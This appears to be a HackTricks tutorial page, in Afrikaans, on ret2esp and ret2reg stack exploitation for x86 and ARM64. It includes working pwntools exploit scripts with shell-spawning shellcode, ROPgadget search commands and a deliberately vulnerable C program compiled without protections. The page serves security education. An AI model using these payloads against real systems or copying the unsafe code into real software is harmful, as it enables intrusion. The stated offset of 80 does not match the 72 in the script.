Ret2esp / Ret2reg

Reading time: 8 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Ret2esp

Omdat die ESP (Stack Pointer) altyd na die bokant van die stapel wys, behels hierdie tegniek die vervanging van die EIP (Instruction Pointer) met die adres van 'n jmp esp of call esp instruksie. Deur dit te doen, word die shellcode reg na die oorgeskryfde EIP geplaas. Wanneer die ret instruksie uitgevoer word, wys ESP na die volgende adres, presies waar die shellcode gestoor is.

As Address Space Layout Randomization (ASLR) nie geaktiveer is in Windows of Linux nie, is dit moontlik om jmp esp of call esp instruksies in gedeelde biblioteke te gebruik. egter, met ASLR aktief, mag 'n mens binne die kwesbare program self moet kyk vir hierdie instruksies (en jy mag nodig hê om PIE te oorwin).

Boonop, om die shellcode na die EIP-korrupsie te plaas, eerder as in die middel van die stapel, verseker dat enige push of pop instruksies wat tydens die funksie se werking uitgevoer word, nie met die shellcode inmeng nie. Hierdie inmenging kan gebeur as die shellcode in die middel van die funksie se stapel geplaas word.

Gebrek aan spasie

As jy spasie ontbreek om te skryf na die oorgeskryfde RIP (miskien net 'n paar bytes), skryf 'n aanvanklike jmp shellcode soos:

armasm
sub rsp, 0x30
jmp rsp

En skryf die shellcode vroeg in die stapel.

Voorbeeld

Jy kan 'n voorbeeld van hierdie tegniek vind in https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp met 'n finale exploit soos:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Jy kan 'n ander voorbeeld van hierdie tegniek sien in https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Daar is 'n buffer overflow sonder NX geaktiveer, dit word 'n gadget gebruik om die adres van $esp te verlaag en dan 'n jmp esp; om na die shellcode te spring:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Op soortgelyke wyse, as ons weet 'n funksie die adres teruggee waar die shellcode gestoor is, kan ons call eax of jmp eax instruksies benut (bekend as ret2eax tegniek), wat 'n ander metode bied om ons shellcode uit te voer. Net soos eax, kan enige ander register wat 'n interessante adres bevat, gebruik word (ret2reg).

Voorbeeld

Jy kan 'n paar voorbeelde hier vind:

ARM64

Ret2sp

In ARM64 is daar nie instruksies wat toelaat om na die SP register te spring nie. Dit mag moontlik wees om 'n gadget te vind wat sp na 'n register beweeg en dan na daardie register spring, maar in die libc van my kali kon ek nie enige gadget soos dit vind nie:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Die enigste wat ek ontdek het, sou die waarde van die register verander waar sp gekopieer is voordat daarheen gejump word (so dit sou nutteloos word):

Ret2reg

As 'n register 'n interessante adres het, is dit moontlik om daarheen te spring deur net die toepaslike instruksie te vind. Jy kan iets soos gebruik:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

In ARM64, is dit x0 wat die terugkeerwaarde van 'n funksie stoor, so dit kan wees dat x0 die adres van 'n buffer wat deur die gebruiker beheer word met 'n shellcode om uit te voer, stoor.

Example code:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Die ontleding van die funksie toon dat die adres na die buffer (kwetsbaar vir bof en beheerde deur die gebruiker) in x0 gestoor word voordat daar van die buffer overflow teruggekeer word:

Dit is ook moontlik om die gadget br x0 in die do_stuff funksie te vind:

Ons sal daardie gadget gebruik om daarna te spring omdat die binêre SONDER PIE gecompileer is. Met 'n patroon is dit moontlik om te sien dat die offset van die buffer overflow 80 is, so die exploit sal wees:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

As daar in plaas van fgets iets soos read gebruik was, sou dit moontlik gewees het om PIE te omseil deur slegs die laaste 2 bytes van die terugkeeradres te oorskryf om na die br x0; instruksie terug te keer sonder om die volledige adres te ken.
Met fgets werk dit nie omdat dit 'n null (0x00) byte aan die einde byvoeg.

Beskermings

  • NX: As die stapel nie uitvoerbaar is nie, sal dit nie help nie, aangesien ons die shellcode in die stapel moet plaas en spring om dit uit te voer.
  • ASLR & PIE: Dit kan dit moeiliker maak om 'n instruksie te vind om na esp of enige ander register te spring.

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks